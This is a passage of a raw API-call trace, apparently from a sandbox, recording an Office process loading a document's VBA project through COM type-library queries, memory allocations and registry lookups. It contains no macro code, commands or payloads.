ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.928] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.929] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.929] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267278 | out: pVarVal=0x267278*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.929] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.929] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267270, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.929] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.929] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267220 | out: ppvObject=0x267220*=0x0) returned 0x80004002 [0036.929] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x267248, pDummy=0x10 | out: ppTypeAttr=0x267248, pDummy=0x10) returned 0x0 [0036.929] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.929] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.929] IUnknown:Release (This=0x8087e90) returned 0x5 [0036.929] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.929] IMalloc:Realloc (This=0x7feff045380, pv=0x81f7690, cb=0xda0) returned 0x8276d90 [0036.929] _mbscpy_s (in: _Dst=0x266ec0, _DstSizeInBytes=0xc, _Src=0x2ff2bc2 | out: _Dst=0x266ec0) returned 0x0 [0036.929] _mbscpy_s (in: _Dst=0x266ec0, _DstSizeInBytes=0xc, _Src=0x2ff329e | out: _Dst=0x266ec0) returned 0x0 [0036.929] _mbscpy_s (in: _Dst=0x266ec0, _DstSizeInBytes=0xc, _Src=0x2ff352a | out: _Dst=0x266ec0) returned 0x0 [0036.929] IMalloc:Alloc (This=0x7feff045380, cb=0xc0) returned 0x82257c0 [0036.930] IMalloc:GetSize (This=0x7feff045380, pv=0x82257c0) returned 0xc0 [0036.931] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x2674a0, pDummy=0x81e7bc0 | out: ppTypeAttr=0x2674a0, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.931] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.931] ITypeInfo:GetRefTypeOfImplType (in: This=0x8087de0, index=0x0, pRefType=0x267498 | out: pRefType=0x267498*=0x3) returned 0x0 [0036.931] ITypeInfo:GetRefTypeInfo (in: This=0x8087de0, hreftype=0x3, ppTInfo=0x2674a8 | out: ppTInfo=0x2674a8*=0x81d8b88) returned 0x0 [0036.931] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.931] ITypeInfo:RemoteGetTypeAttr (in: This=0x81d8b88, ppTypeAttr=0x2674a0, pDummy=0x267478 | out: ppTypeAttr=0x2674a0, pDummy=0x267478*=0x3) returned 0x0 [0036.931] ITypeInfo:LocalReleaseTypeAttr (This=0x81d8b88) returned 0x0 [0036.931] ITypeInfo:GetRefTypeOfImplType (in: This=0x81d8b88, index=0x0, pRefType=0x267498 | out: pRefType=0x267498*=0x182) returned 0x0 [0036.931] ITypeInfo:GetRefTypeInfo (in: This=0x81d8b88, hreftype=0x182, ppTInfo=0x2674a8 | out: ppTInfo=0x2674a8*=0x81d8be0) returned 0x0 [0036.931] IUnknown:Release (This=0x81d8b88) returned 0x1 [0036.931] ITypeInfo:RemoteGetTypeAttr (in: This=0x81d8be0, ppTypeAttr=0x2674a0, pDummy=0x267480 | out: ppTypeAttr=0x2674a0, pDummy=0x267480*=0x2674b0) returned 0x0 [0036.931] ITypeInfo:LocalReleaseTypeAttr (This=0x81d8be0) returned 0x0 [0036.931] IUnknown:Release (This=0x81d8be0) returned 0x1 [0036.931] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0036.931] CExposedStream::Seek () returned 0x0 [0036.931] CExposedStream::Read () returned 0x0 [0036.931] _ultow_s (in: _Value=0x5e3fce52, _Buffer=0x81d790c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e3fce52") returned 0x0 [0036.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045e3fce52", cchWideChar=11, lpMultiByteStr=0x2674d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045e3fce52", lpUsedDefaultChar=0x0) returned 11 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dd10 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810ad10 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810ab90 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8160770 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x81609c0 [0036.931] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x7cd4520) [0036.932] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a0ec0 [0036.932] IMalloc:GetSize (This=0x7feff045380, pv=0x81a0ec0) returned 0x60 [0036.932] IMalloc:Free (This=0x7feff045380, pv=0x81a0ec0) [0036.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267310, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.932] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a0ec0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810add0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x3d0) returned 0x8277b40 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8ae0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b3a80 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dda0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fd0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229040 [0036.933] IUnknown:AddRef (This=0x7f8b790) returned 0x5 [0036.933] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267110 | out: ppvObject=0x267110*=0x0) returned 0x80004002 [0036.933] ITypeLib:GetTypeComp (in: This=0x7f8b790, ppTComp=0x267108 | out: ppTComp=0x267108*=0x7f8b7a0) returned 0x0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e682c0 [0036.933] IUnknown:AddRef (This=0x7f8b7a0) returned 0x7 [0036.933] IUnknown:Release (This=0x7f8b7a0) returned 0x6 [0036.933] IUnknown:Release (This=0x7f8b790) returned 0x5 [0036.933] IUnknown:AddRef (This=0x7f887c0) returned 0xd [0036.933] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267110 | out: ppvObject=0x267110*=0x0) returned 0x80004002 [0036.933] ITypeLib:GetTypeComp (in: This=0x7f887c0, ppTComp=0x267108 | out: ppTComp=0x267108*=0x7f887d0) returned 0x0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e681c0 [0036.933] IUnknown:AddRef (This=0x7f887d0) returned 0xf [0036.933] IUnknown:Release (This=0x7f887d0) returned 0xe [0036.933] IUnknown:Release (This=0x7f887c0) returned 0xd [0036.933] IUnknown:AddRef (This=0x7f8b1f0) returned 0x6 [0036.933] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267110 | out: ppvObject=0x267110*=0x0) returned 0x80004002 [0036.933] ITypeLib:GetTypeComp (in: This=0x7f8b1f0, ppTComp=0x267108 | out: ppTComp=0x267108*=0x7f8b200) returned 0x0 [0036.933] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68440 [0036.933] IUnknown:AddRef (This=0x7f8b200) returned 0x8 [0036.933] IUnknown:Release (This=0x7f8b200) returned 0x7 [0036.933] IUnknown:Release (This=0x7f8b1f0) returned 0x6 [0036.933] wcscpy_s (in: _Destination=0x81c5ed8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.933] wcsncpy_s (in: _Destination=0x266cf0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.933] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x266c20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.933] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.934] IMalloc:Alloc (This=0x7feff045380, cb=0x40) returned 0x7ff4440 [0036.934] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.934] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x266930 | out: phkResult=0x266930*=0x9f6) returned 0x0 [0036.934] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x266928 | out: phkResult=0x266928*=0x9fe) returned 0x0 [0036.934] RegEnumKeyW (in: hKey=0x9fe, dwIndex=0x0, lpName=0x266958, cchName=0xa | out: lpName="2.6") returned 0x0 [0036.935] RegEnumKeyW (in: hKey=0x9fe, dwIndex=0x1, lpName=0x266958, cchName=0xa | out: lpName="2.7") returned 0x0 [0036.935] RegEnumKeyW (in: hKey=0x9fe, dwIndex=0x2, lpName=0x266958, cchName=0xa | out: lpName="2.8") returned 0x0 [0036.935] wcscpy_s (in: _Destination=0x266940, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0036.935] RegOpenKeyW (in: hKey=0x9fe, lpSubKey="2.8", phkResult=0x2669e8 | out: phkResult=0x2669e8*=0xa06) returned 0x0 [0036.935] _ultoa_s (in: _Val=0x0, _DstBuf=0x266960, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0036.935] RegOpenKeyA (in: hKey=0xa06, lpSubKey="0", phkResult=0x266950 | out: phkResult=0x266950*=0xa12) returned 0x0 [0036.935] RegOpenKeyW (in: hKey=0xa12, lpSubKey="win64", phkResult=0x266958 | out: phkResult=0x266958*=0xa1a) returned 0x0 [0036.936] RegCloseKey (hKey=0xa1a) returned 0x0 [0036.936] RegCloseKey (hKey=0xa12) returned 0x0 [0036.936] _ultow_s (in: _Value=0x0, _Buffer=0x2669f0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.936] RegOpenKeyW (in: hKey=0xa06, lpSubKey="0", phkResult=0x2669c8 | out: phkResult=0x2669c8*=0xa0e) returned 0x0 [0036.936] RegQueryValueW (in: hKey=0xa0e, lpSubKey="win64", lpData=0x266a10, lpcbData=0x2669c4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x2669c4) returned 0x0 [0036.937] wcscpy_s (in: _Destination=0x266c90, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0036.937] RegCloseKey (hKey=0xa0e) returned 0x0 [0036.937] RegCloseKey (hKey=0xa06) returned 0x0 [0036.937] RegCloseKey (hKey=0x9fe) returned 0x0 [0036.937] RegCloseKey (hKey=0x9f6) returned 0x0 [0036.937] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x267038*=0x0 | out: pptlib=0x267038*=0x81c0d20) returned 0x0 [0036.938] IUnknown:AddRef (This=0x81c0d20) returned 0x4 [0036.938] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267098 | out: ppvObject=0x267098*=0x0) returned 0x80004002 [0036.938] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267110 | out: ppvObject=0x267110*=0x0) returned 0x80004002 [0036.938] ITypeLib:GetTypeComp (in: This=0x81c0d20, ppTComp=0x267108 | out: ppTComp=0x267108*=0x81c0d30) returned 0x0 [0036.938] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e67880 [0036.938] IUnknown:AddRef (This=0x81c0d30) returned 0x6 [0036.938] IUnknown:Release (This=0x81c0d30) returned 0x5 [0036.938] IUnknown:Release (This=0x81c0d20) returned 0x4 [0036.938] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.938] IMalloc:Alloc (This=0x7feff045380, cb=0x40) returned 0x7ff4490 [0036.938] IMalloc:Realloc (This=0x7feff045380, pv=0x81a0ec0, cb=0x70) returned 0x823b020 [0036.938] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="s33ace8fdc5c9") returned 0x1086bc [0036.938] strcpy_s (in: _Dst=0x267040, _DstSize=0xe, _Src="s33ace8fdc5c9" | out: _Dst="s33ace8fdc5c9") returned 0x0 [0036.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267040, cbMultiByte=14, lpWideCharStr=0x266e90, cchWideChar=14 | out: lpWideCharStr="s33ace8fdc5c9") returned 14 [0036.938] IUnknown:AddRef (This=0x7f8b790) returned 0x6 [0036.938] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="s33ace8fdc5c9", lHashVal=0x1086bc, pfName=0x266f60, pBstrLibName=0x266e90 | out: pfName=0x266f60*=0, pBstrLibName=0x266e90) returned 0x0 [0036.938] IUnknown:Release (This=0x7f8b790) returned 0x5 [0036.938] IUnknown:AddRef (This=0x7f887c0) returned 0xe [0036.938] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="s33ace8fdc5c9", lHashVal=0x1086bc, pfName=0x266f60, pBstrLibName=0x266e90 | out: pfName=0x266f60*=0, pBstrLibName=0x266e90) returned 0x0 [0036.938] IUnknown:Release (This=0x7f887c0) returned 0xd [0036.938] IUnknown:AddRef (This=0x7f8b1f0) returned 0x7 [0036.938] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="s33ace8fdc5c9", lHashVal=0x1086bc, pfName=0x266f60, pBstrLibName=0x266e90 | out: pfName=0x266f60*=0, pBstrLibName=0x266e90) returned 0x0 [0036.938] IUnknown:Release (This=0x7f8b1f0) returned 0x6 [0036.938] IUnknown:AddRef (This=0x81c0d20) returned 0x5 [0036.938] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="s33ace8fdc5c9", lHashVal=0x1086bc, pfName=0x266f60, pBstrLibName=0x266e90 | out: pfName=0x266f60*=0, pBstrLibName=0x266e90) returned 0x0 [0036.938] IUnknown:Release (This=0x81c0d20) returned 0x4 [0036.938] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f290 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810af50 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x3d0) returned 0x81f8290 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c2e10 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b3aa0 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819de30 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229060 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229050 [0036.939] IUnknown:AddRef (This=0x7f8b790) returned 0x6 [0036.939] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266e80 | out: ppvObject=0x266e80*=0x0) returned 0x80004002 [0036.939] ITypeLib:GetTypeComp (in: This=0x7f8b790, ppTComp=0x266e78 | out: ppTComp=0x266e78*=0x7f8b7a0) returned 0x0 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e67940 [0036.939] IUnknown:AddRef (This=0x7f8b7a0) returned 0x8 [0036.939] IUnknown:Release (This=0x7f8b7a0) returned 0x7 [0036.939] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.939] IUnknown:AddRef (This=0x7f887c0) returned 0xf [0036.939] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266e80 | out: ppvObject=0x266e80*=0x0) returned 0x80004002 [0036.939] ITypeLib:GetTypeComp (in: This=0x7f887c0, ppTComp=0x266e78 | out: ppTComp=0x266e78*=0x7f887d0) returned 0x0 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68700 [0036.939] IUnknown:AddRef (This=0x7f887d0) returned 0x11 [0036.939] IUnknown:Release (This=0x7f887d0) returned 0x10 [0036.939] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.939] IUnknown:AddRef (This=0x7f8b1f0) returned 0x7 [0036.939] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266e80 | out: ppvObject=0x266e80*=0x0) returned 